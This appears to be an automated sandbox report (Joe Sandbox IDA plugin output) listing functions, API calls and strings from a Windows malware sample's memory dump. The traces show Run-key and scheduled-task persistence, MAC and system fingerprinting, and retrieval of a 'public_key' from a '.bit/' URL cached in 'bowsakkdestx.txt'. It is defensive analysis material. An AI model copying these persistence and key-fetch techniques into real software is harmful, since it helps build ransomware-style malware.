Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,2AF8D036), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

GetQueueStatus, xrefs: 00481C6B
Module32Next, xrefs: 00481E39
LanmanServer, xrefs: 00481A74
GetForegroundWindow, xrefs: 00481C4A
Process32First, xrefs: 00481DDA
Heap32ListFirst, xrefs: 00481DB4
ADVAPI32.DLL, xrefs: 00481989
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CreateToolhelp32Snapshot, xrefs: 00481D67
USER32.DLL, xrefs: 00481C31
$, xrefs: 00481F7E
NetApiBufferFree, xrefs: 004819F0
CryptGenRandom, xrefs: 00481AE3
Heap32ListNext, xrefs: 00481DC7
GetCursorInfo, xrefs: 00481C58
LanmanWorkstation, xrefs: 00481A26
Heap32First, xrefs: 00481D8E
Thread32Next, xrefs: 00481E13
Thread32First, xrefs: 00481E00
NETAPI32.DLL, xrefs: 004819A9
CloseToolhelp32Snapshot, xrefs: 00481D7B
CryptReleaseContext, xrefs: 00481AF6
CryptAcquireContextW, xrefs: 00481AD5
Heap32Next, xrefs: 00481DA1
KERNEL32.DLL, xrefs: 0048199C
Module32First, xrefs: 00481E26
Process32Next, xrefs: 00481DED
NetStatisticsGet, xrefs: 004819E2

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
.bit/, xrefs: 0041E7A3
Microsoft Internet Explorer, xrefs: 0041E736
","id":", xrefs: 0041EBC5, 0041EC4C
&first=true, xrefs: 0041E930
&first=false, xrefs: 0041E937
{"public_key":", xrefs: 0041EA2E, 0041EA8D
", xrefs: 0041ECA0
?pid=, xrefs: 0041E884

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 451fb602ee6db0724337d2851135747165748af7917adf01f53bca77b1241bca
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 451fb602ee6db0724337d2851135747165748af7917adf01f53bca77b1241bca
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Trigger1, xrefs: 0040D6FA
Time Trigger Task, xrefs: 0040D43C, 0040D973
--Task, xrefs: 0040D8DD
Author Name, xrefs: 0040D4C8
PT5M, xrefs: 0040D5A1, 0040D66C
2030-05-02T08:00:00, xrefs: 0040D737

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 8a2de3b4e8edfc4458d05c7407b8d359bd2b27e39876b0d8627c1435ad35d818
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 8a2de3b4e8edfc4458d05c7407b8d359bd2b27e39876b0d8627c1435ad35d818
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 58767ee62d541c0ac93fa7b2988ab1e5126a7052be10478fd2962cce1534a85e
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 7d73356f4f849befeb89dd0e49e0f719b2699a1ecfc535e0879fe83c75173692
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 7d73356f4f849befeb89dd0e49e0f719b2699a1ecfc535e0879fe83c75173692
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 86116fd0c9e432b104d34220e70c2ad806a44289ccaa01368c67fdd59d26a7a7
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 34a904691ab4c7115eff38b4ba3a9c8ffb1c687cd8360d9ac18c8910c74e8e66
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 34a904691ab4c7115eff38b4ba3a9c8ffb1c687cd8360d9ac18c8910c74e8e66
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
